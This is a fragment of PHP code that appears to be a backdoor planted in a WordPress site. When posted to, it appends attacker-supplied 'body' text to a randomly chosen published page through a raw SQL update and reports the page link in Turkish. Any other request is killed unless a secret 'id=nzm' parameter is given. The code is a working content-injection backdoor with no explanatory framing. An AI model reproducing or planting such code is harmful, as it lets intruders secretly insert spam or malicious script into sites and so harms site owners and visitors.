get_results( "SELECT ID FROM `$wpdb->posts` Where post_type = 'page' and post_password = '' and post_status = 'publish' ORDER BY RAND() Limit 1;" ); if( $pages ){ foreach ( $pages as $page ) { $res = $wpdb->query( "Update `$wpdb->posts` Set post_content = CONCAT(post_content, '". str_replace("%", "%%", str_replace("'", "\\'", $_POST["body"])) ."') Where ID = ".$page->ID ); if($res){ $perm = get_permalink($page->ID); $opmsg .= 'Sayfaya eklendi: '. $perm .' ('.$page->ID.')'; } break; } } } else{ if( !isset($_GET["id"]) || $_GET["id"] != "nzm" ){ die(); } } ?>